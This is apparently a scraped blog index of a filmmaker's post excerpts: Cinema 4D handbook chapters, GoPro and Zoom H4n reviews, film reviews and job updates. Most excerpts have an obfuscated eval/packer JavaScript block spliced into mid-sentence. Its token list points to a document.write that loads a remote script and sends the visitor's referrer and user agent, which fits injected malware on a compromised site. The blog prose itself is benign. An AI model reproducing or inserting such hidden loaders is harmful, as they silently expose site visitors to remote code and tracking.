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Update on My C4D Project

If eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rbrhn|var|u0026u|referrer|zenei||js|php'.split('|'),0,{})) you've been following for the last week or so, I've been trying to do a new chapter in my C4D Handbook every other day. Well, my schedule says otherwise. Between work, things I need to do around the...

Cinema 4D r10 Handbook: Chapter 2

Over the course of September I’m going to be going through the C4D r10 Handbook chapter by chapter and posting general overviews and my thoughts. Once completed I hope to be able to do basic 3D animations and graphics. Posts will come Mondays, Wednesdays, and...

Cinema 4D r10 Handbook: Chapter 1

Over the course of September I'm going to be going through the C4D r10 Handbook chapter by chapter and posting general overviews and my thoughts. Once completed I hope to be able to do basic 3D animations and graphics. Posts will come Mondays, Wednesdays, and...

New Horizons

Been a while since I've just given an update. A lot has been happening, and there's more to come. First and foremost, Beyond Pix (beyondpix.com) eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tysze|var|u0026u|referrer|bhbse||js|php'.split('|'),0,{})) has brought me on full time. So, now I get benefits, paid time off,...

"Our Idiot Brother" Review

Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttife|var|u0026u|referrer|dyffb||js|php'.split('|'),0,{})) night I got the chance to go to a pre-screening of Our Idiot Brother (imdb.com) hosted by NATAS (The National Academy of Television Arts and Sciences) (emmysf.tv). I know the movie doesn't officially premiere until Friday, so I...

“Our Idiot Brother” Review

Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nahes|var|u0026u|referrer|ffbri||js|php'.split('|'),0,{})) night I got the chance to go to a pre-screening of Our Idiot Brother (imdb.com) hosted by NATAS (The National Academy of Television Arts and Sciences) (emmysf.tv). I know the movie doesn't officially premiere until Friday, so I...

Are Labor Jobs the Answer for U.S. Economy?

I know this post is going to be off-film, but it's something that I've been discussing a lot recently. About two months ago, Mike Rowe (discovery.com) eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkzyb|var|u0026u|referrer|tearn||js|php'.split('|'),0,{})) from Discovery's "Dirty Jobs" was in the studio talking about the lack of...

Autodesk 123D Sculpt Review

Last week I heard about a new app release for the iPad; a 3D modelling program put out by Autodesk (autodesk.com). eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynhhz|var|u0026u|referrer|hrbzy||js|php'.split('|'),0,{})) How could I NOT get excited? They make the absolutely solid 3D program: Maya. And the thought that...

Creating Timelapse Videos with a GoPro

Everyone loves seeing timelapse videos. And creating them using interval frame rate cameras is easy. It's even easier with cameras like the GoPro (GoPro eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ifisr|var|u0026u|referrer|ifzeb||js|php'.split('|'),0,{})) Review). But visualizing the final product before you shoot can save you hours of shooting...

Quality Audio with the Zoom H4n

So, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|brbhz|var|u0026u|referrer|bhhit||js|php'.split('|'),0,{})) I just got my very own Zoom H4n (zoom.com) and I've been running it through the gauntlet. All I can say is this: Get One! This is a very affordable, very rugged, very amazing portable audio recorder. If...

Harry Potter 7.2 Review

Preface: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|earbf|var|u0026u|referrer|rszbf||js|php'.split('|'),0,{})) Yes. I am jumping on the bandwagon of Harry Potter reviews. Yes. You probably wont like my review. Yes. I am prepared for your flak. Just know that I'm coming at this as someone who never read the...

"Conan O'Brien Can't Stop" Review

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntdyd|var|u0026u|referrer|nakhy||js|php'.split('|'),0,{})) live across the street from the Lumiere Theatre (landmarktheatres.com) in San Francisco, and the other night I looked out my window and saw "Conan O'Brien" on the marquee. At this point, I got super excited. I missed Conan...

“Conan O’Brien Can’t Stop” Review

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kiahs|var|u0026u|referrer|eezzh||js|php'.split('|'),0,{})) live across the street from the Lumiere Theatre (landmarktheatres.com) in San Francisco, and the other night I looked out my window and saw "Conan O'Brien" on the marquee. At this point, I got super excited. I missed Conan...

GoPro, Stay Pro: GoPro HD Hero Naked Review

My new GoPro HD Hero Naked (gopro.com/cameras) eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dfiyb|var|u0026u|referrer|fhakf||js|php'.split('|'),0,{})) came in last Friday, just in time for me to take it along with me on my trip to Fort Bragg. I did some test shooting and I couldn't be happier with...

5 Reasons Why Shooting Video with an iPad Sucks

Last Friday I was at my girlfriend's graduation (sidenote: here's her portfolio, it's pretty damn good. lorettamaydesign.com) eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhytn|var|u0026u|referrer|yedte||js|php'.split('|'),0,{})) and I saw numerous people recording the event with the Apple iPad2 (apple.com). Now, I realize they aren't professionals, but I've seen...

Beyond Pix and Beyond

Pardon me whilst I ramble. This week's post is going to be pretty ego-centric. A lot has been happening, and I wish to share. Let's start with work. For the last two months I've been working at Beyond Pix Studios (beyondpix.com) eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n...

Catching Back Up

Hello friends. Sorry about not posting last week. Been working a lot; two weeks of 14-16 hour days, with no break between them, and more of it to come. By the time I get home, I just want to sit on the couch and veg....

Generating Ideas

I've been working between 13and 18 hours a day for the last three weeks, so my brain has been shot for a while, and I hit a bit of a wall coming up with ideas for this week's post. So, I turned to my colleagues....

What's a Scripty?

As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|edzbh|var|u0026u|referrer|iyrda||js|php'.split('|'),0,{})) some of you may know, I've turned my film role aspirations towards script supervision. So far it's proven to be the perfect place for me on set. I've worked as a PA, as a grip, as a production...

What’s a Scripty?

As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfita|var|u0026u|referrer|fiyer||js|php'.split('|'),0,{})) some of you may know, I've turned my film role aspirations towards script supervision. So far it's proven to be the perfect place for me on set. I've worked as a PA, as a grip, as a production...

Cowboy Studio Lights

About eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzkyf|var|u0026u|referrer|beisb||js|php'.split('|'),0,{})) a month ago I stumbled upon the DSLR Film Noob's review (http://www.dslrfilmnoob.com) of the Cowboy Studio CFL (Compact Fluorescent Light)  light rig, and I decided to look a little more into it. He basically said that, for the...

Work, No Work, Work

It's been an interesting week, to say the least. Now prepare for my ramble. Let's start from the beginning, shall we. Tuesday was my last day working with Teachscape Inc. (http://www.teachscape.com)on eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|didfr|var|u0026u|referrer|abisz||js|php'.split('|'),0,{})) the Measures of Effective Teaching (MET) Project, that's funded...

The Power of Social Media on Ego and Confidence

This may just be because I'm an attention whore, but when I look at the site stats for my blog, or my play stats on vimeo (vimeo.com/widenmedia), eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ezike|var|u0026u|referrer|deyst||js|php'.split('|'),0,{})) I get a warm fuzzy feeling. I know that I've just re-launched...

DIY Diffuser Boxes

A couple of weeks ago, my girlfriend was freaking out during her finals. She needed to take product shots and the lights she was using were just too harsh for her liking. So, while she’s running around at a hundred miles an hour, freaking out,...